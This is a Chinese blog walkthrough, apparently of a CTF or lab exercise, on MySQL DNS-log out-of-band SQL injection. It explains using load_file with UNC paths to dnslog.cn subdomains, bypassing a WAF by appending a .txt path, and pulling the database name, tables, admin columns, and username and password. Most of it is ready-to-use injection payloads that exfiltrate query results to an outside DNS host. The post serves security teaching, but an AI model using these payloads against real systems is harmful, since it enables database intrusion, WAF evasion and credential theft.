mysql——DNS注入

DNS log 【DNS日志注入】
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求

DNS注入的核心,将盲注转化为显错注入

在这里插入图片描述
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求
比如 ox.qidao.com => DNS记录了这个请求,
那么我们也可以让mysql也能发出请求,DNS也会记录
在这里插入图片描述
在这里插入图片描述

select load_file(’//error.1806d1.dnslog.cn/abc’);
// 网上邻居的协议(也就是UNC协议)
error 没有实际意义,占位符而已
1806d1.dnslog.cn dns服务器名字
abc 没有实际意义,一个目录而已
在这里插入图片描述

前面我们已经说了,是用dns来把解析的数据,回显给我们。
这里就跟关键了,我们要么自己去搭建一台dns服务器,要么滑稽。
这里介绍一个网站。

dnslog.cn

1.获取一个dns服务器
2.得到的一个随机dns服务器。

在这里插入图片描述

既然得到之后,我们就来用这个DNS服务器来获取一下域名解析的数据
1.复制刚刚得到的dns服务器。前面跟你想要解析的东西,这里我就写的yq
没有什么特别的意思,得到的回显也是yq,但是把yq换成 database() 那么就会回显使用的数据库名

在这里插入图片描述
点击refresh 就可以得到解析的数据,前面的yq也得到了回显,这里我就写的yq
没有什么特别的意思,得到的回显也是yq,但是把yq换成 database() 那么就会回显使用的数据库名

这里解答一下为什么是三级域名,因为二级域名就是不是给你用的,懂?

在这里插入图片描述
实战得出当前使用数据库为:web

select load_file(concat('//',(select database() limit 0,1),'.81k8pu.dnslog.cn/abc'));

在这里插入图片描述
在这里插入图片描述

select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.81k8pu.dnslog.cn/abc'));

在这里插入图片描述
实战得出当前使用数据表为:post
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
我们直接访问txt格式的文件,就跳过了安全狗,
就访问到了php格式的文件。
在这里插入图片描述

那么现在就来实战一下

先提醒一下,前面的测试是在本机上测试的,所以是 select 开头,
但是实战这已经有select开头了,我们就不要自己加了

txt的名字和传参的id随便写,没有影响,这里我写的123.txt和id=123

/123.txt?id=123 and load_file(concat('//',(select database() limit 0,1),'.mvd7wy.dnslog.cn/abc')) -- qwe

可以看到访问正常,说明跳过了安全狗
在这里插入图片描述
跳过了安全狗后,我们再来看一下是否dns反弹成功。反弹出了数据库名。
在这里插入图片描述
接下来就是和显错注入一样的思路,再结合一点dns反弹就行了。

1.回显数据库

这里特别要注意一点的是,一个dns服务器如果已经记录了一个东西,你在去执行相同的东西,这个已经被记录的东西就不会再显示了,如果遇到这种情况,就马上获取一个新的dns服务器。

/123.txt?id=123 and load_file(concat('//',(select database() limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

在这里插入图片描述
在这里插入图片描述

2.回显数据表

/123.txt?id=123 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

在这里插入图片描述

在这里插入图片描述
楼主本来还想用这条加了group_concat(table_name)这个语句的,但是不行,不知道是因为像上面说的,已经记录了,还是不能在一行输出。

3.回显字段

因为很显然,我们拿到了admin表,那就意味着,这里面有管理员的账号密码,这正是我们想要的,所以我们就用这张表,这里暂且理解为不能用group_concat函数一行输出,那我们就用limit函数

回显第一个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

注入图我就不截图了,直接上回显图
在这里插入图片描述

回显第二个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1),'.48tret.dnslog.cn/abc')) -- qwe

在这里插入图片描述

回显第3个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1),'.48tret.dnslog.cn/abc')) -- qwe

在这里插入图片描述

回显第3个字段,失败,说明admin表就3个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 3,1),'.48tret.dnslog.cn/abc')) -- qwe

在这里插入图片描述

3.回显字段值

这里非常明显了,username和password,就表明是账号密码

那我们就来回显试试

/123.txt?id=123 and load_file(concat('//',(select username from admin limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

在这里插入图片描述

/123.txt?id=123 and load_file(concat('//',(select password from admin limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

在这里插入图片描述
最后得到flag:1flag1good1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值